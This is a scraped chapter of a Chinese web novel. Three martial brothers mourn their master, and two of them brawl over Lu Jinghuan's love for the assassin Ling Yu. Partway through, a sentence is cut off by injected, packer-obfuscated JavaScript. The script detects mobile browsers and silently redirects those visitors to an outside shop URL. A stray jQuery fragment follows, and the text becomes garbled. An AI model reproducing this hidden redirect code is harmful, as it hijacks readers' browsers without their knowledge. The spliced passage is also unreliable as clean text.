陆景桓和周霆安来到都城城外偏僻之地。
这里是祁国最北边,三面环山,人烟稀少,但风景很好,便是竹林,倒是有不少文人墨客到此谈论风雅。
竹林最深处,有一间瓦房,很是隐蔽。
若不特意来找,很难找到。
这个瓦房不大,只够两人居住。
瓦房前有一个小院子,院里种着一些蔬菜,还有一只踏雪寻梅的小猫,慵懒地躺在李承铭的怀中。
李承铭相貌俊美。
这种美与凌玉不同,在李承铭身上,更多的是书生的儒雅。
当年,只要有人见过李承铭,无论男女,都会被他的样貌吸引,为之倾倒。
甚至有人为了见李承铭一眼,不惜生命前去战场。
后来,李承铭为了能够更好地在军中指挥作战,只能带上獠牙面具。
可是有一天,李承铭突然离开了军营,开始穿女装,打扮成了女人的模样。
“小铭,我和景桓来了。”
李承铭起身,幽兰的双眸带着似海深的忧郁,哪还有与凌玉交锋时的锐智锋芒。
他放开怀中的猫,微笑迎上前,“等你们半天了。”
每每看到李承铭这幅装扮,周霆安的心总会不由自主地作痛,眼底闪过一抹心疼自责。
“小铭,你......”
“快去祭奠师父吧。”李承铭拿过一旁准备好的祭祀之物,塞到了两人手中,“耽误他老人家喝酒,又该托梦揍我们了。”
周霆安见李承铭转移话题,也只他不愿提起此事。
可是他心疼啊。
曾经他们是何等的风光。
李承铭熟知兵法,用兵如神,排兵布阵更是出神入化。
周霆安虽然不如李承铭聪明,但在战场上,他却是陆景桓最为信赖的后盾。
只要有周霆安在,陆景桓才能放心地在战场上,奋勇杀敌。
可是如今,李承铭变成了这个样子,周霆安身为师兄,怎能不心痛呢?
“哎。”周霆安深深地叹了口气,“不说就不说吧。小铭你记着,无论如何,你还有我们。”
李承铭回以轻笑。
不久后,三人来到瓦房后面的山头上。
这里有两个坟,一个是他们的师父楚天的,坟前摆满了各式各样的酒葫芦。
另一个坟墓的墓碑上,没有名字,但被打扫的很干净。
他们三人给楚天少了点纸钱,又将李承铭准备好的酒倒在坟前。
“师父,多喝点,管够。”
周霆安念叨着,“您若还在世,怎舍得让景桓受如此大的委屈。”
李承铭顺势打趣道:“老爷子要在,估计早就杀过去了。可惜啊,这世间没有如果。”
“师父。”李承铭烧了把纸钱,“若您在天有灵,就保佑景桓吧,他太难了。”
陆景桓:“还是保佑我们所有人吧。”
祭奠过后,陆景桓和周霆安先下了山。
他们知道,李承铭还要和那个人说说话。
黄昏渐近,李承铭从山上下来,脸上挂着两道未干的泪痕。
李承铭道:“你们难得来我这一趟,喝点?”
这一天,他们把酒言欢,喝得起兴。
周霆安身上带着酒气,目光不忍地看着李承铭,嘴里含糊地说道:“小铭,放过自己吧。”
李承铭喝了口酒,眸低的悲伤,犹如涓涓细流,从未停歇。
他何尝不想放下,何尝不想就这样放过自己。
可有些事,又岂是说放就能放下。
有些人,又岂能是说忘就忘记。
“师兄,别说我了。”李承铭应付着周霆安,看向一直喝着闷酒不说话的陆景桓,“当真想好了吗?”
刚才周霆安已经将陆景桓的心思全部告诉李承铭,并询问他的意见。
李承铭并未急于表态,反而先询问了陆景桓的想法。
“师兄,我不想骗你们,也不想骗自己。确实,我喜欢上了凌玉。”
“不是,陆景桓,你想干什么?”周霆安不解地激动问道:“凌玉是个刺客,身份不明。你喜欢他不就是把自己往火坑里推,不行,我坚决不同意。”
李承铭给周霆安倒了杯酒,安抚道:“师兄别激动,你不是挺欣赏凌玉的吗?”
“那是你。”周霆安猛地喝尽杯中酒,劝说道:“景桓,你要是想成亲,我给你寻一个好人家,不说什么名门望族,至少咱也能找一个大家闺秀,放弃凌玉吧,他会害死你。”
凌玉是个刺客,而且对陆景桓的意图不明。
周霆安怎会放心让陆景桓选择凌玉。
陆景桓何尝想不到这些。
只是他心里已经有了凌玉,这些事情就显得无关紧要了。
“师兄。”陆景桓道:“你知道我,一旦做了决定,绝不会变。”
“此一时彼一时,换个人不行?”周霆安极力劝解着。
可陆景桓一句都没听进去,还反问道:“你怎么不换个人,偏偏等着小翠?”
“那能一样吗?”周霆安解释着,“小翠不管怎么样,最起码干净,那个凌玉……”
“凌玉怎么不干净了。”陆景桓猛拍桌面,眉头紧皱,坚定维护道:“不管你怎么说,此生,我非凌玉不可。”
“臭小子,怎么说都不听了是吧!别逼我揍你!”周霆安看着陆景桓执迷不悟的模样,气得牙根痒痒。
陆景桓白了一眼,“你又打不过我。”
听到这话,周霆安心中的怒火犹如火山爆发,难以控制。
他猛然起身,握紧拳头朝陆景桓揍去。
陆景桓用力甩杯,也不让着周霆安,跟他扭打在一起。
刹那间,原本还算安静的屋子里,到处都是碗碟摔碎的声音,整个房间顷刻间陷入一片混乱之中,周围变得一片狼藉。
周霆安和陆景桓之间拳脚交错,招招都拼尽全力,毫不留情。
不一会儿,两人脸上都挂了彩儿。
李承铭没有阻拦,默默地退到了一旁,一边喝着酒一边看着这两人打架,心里盘算着这些被损坏的家具值多少钱。
“陆景桓,你等着,老子今天非要打醒你!”
陆景桓回怼:“下辈子吧!”
这俩人打得鼻青脸肿,到最后都没有分出个胜负。
周霆安躺在地上,喘着粗气看着坐在一旁的陆景桓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173926|140998||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不死心地又问道:“真的就非他不可吗?”
陆景桓擦去嘴角的鲜血,站起身伸出手对周霆安,眼神坚定道:“此生,非他不可。”
周霆安暗自叹了口气,伸手握住了对方的手,借力起身说道:“算了,你自己拿主意吧。但你别忘了,无论将来发生什么事情,我和小铭都会一直陪在你身边。”
听到这话,陆景桓心觉一暖,眼眶微微泛红,“知道了,师兄。”
“好了,我出去清醒一下,照惯例,小铭负责收拾残局。”
说完,周霆安走出房间。
李承铭叹了口气走上前,扶起椅子,刚坐上去就听到陆景桓开口,“二师兄莫要劝我,我心意已决。”
“没想劝你。”李承铭悠哉地说道:“我知道你一定是经过深思熟虑之后,才做出这个决定。凌玉虽然谜团重重,但有些时候就是命,该来的总会来,该离开的终究会离开。”
“师兄...”陆景桓坐到李承铭面前,低着头,有些不好意思地问道:“你说喜欢一个人,需要理由吗?”
陆景桓从来不和别人讨论自己的想法,尤其是情感方面。
以至于很多人都觉得,陆景桓对情爱根本没有欲望。
如今,陆景桓竟能主动地与李承铭讨论,这倒是让李承铭感到十分意外。
这小子,真动情了。
“景桓,我能冒昧地问一下,是什么事情让你有这样的疑惑吗?”
陆景桓思索再三,为了能够解决心中的疑问,决定把那个男孩的事情告诉李承铭。
“第一次见到凌玉之时,我就不自觉地将他和那人的身影重叠在一起。”
陆景桓起身做到李承铭面前,拿起地上残留的半壶酒,顷刻饮尽道:“我曾渴望凌玉就是他,却比谁都清楚,凌玉不可能是他。”
说话间,陆景桓的声音逐渐沙哑,“我知道凌玉兴许有自己的目的,可我控制不住自己,或许从一开始 ,我就已经沦陷了。”
李承铭听着陆景桓的诉说,心疼不已。
他从来都不知道,自己最心疼的师弟居然还有这样悲惨的遭遇。
“所以,你是怕自己把凌玉当成那个人的替身?”
陆景桓点了点头,抹了一把泪:“我无数次地告诉自己,凌玉不是他。我也不能把凌玉当作是他,这样对凌玉不公平。可我控制不住啊,他们太像了。我总是会不自觉地将他们当作成一个人”
李承铭心疼拍了拍陆景桓的肩膀,“既然如此,你不如好好想想,为什么会喜欢凌玉,也就是你最开始问我的,喜欢一个人的理由。”
陆景桓眼中闪过一阵茫然,一时间竟不知道该如何回答。
李承铭开解道:“喜欢一个人的理由很简单,就是他能够满足你心中缺少的东西。”
“缺失的东西?”陆景桓不解。
李承铭随意地靠在门框上,望着窗外的明月,脑海中会想起与故人的点点滴滴,眼神中尽是思念,“是啊,缺失的东西。”
他继续说道:“景桓,你有没有想过你最渴望的东西是什么?如果凌玉的出现能够满足你内心的渴望,那便是你喜欢他的理由。”
“我渴望的...东西?”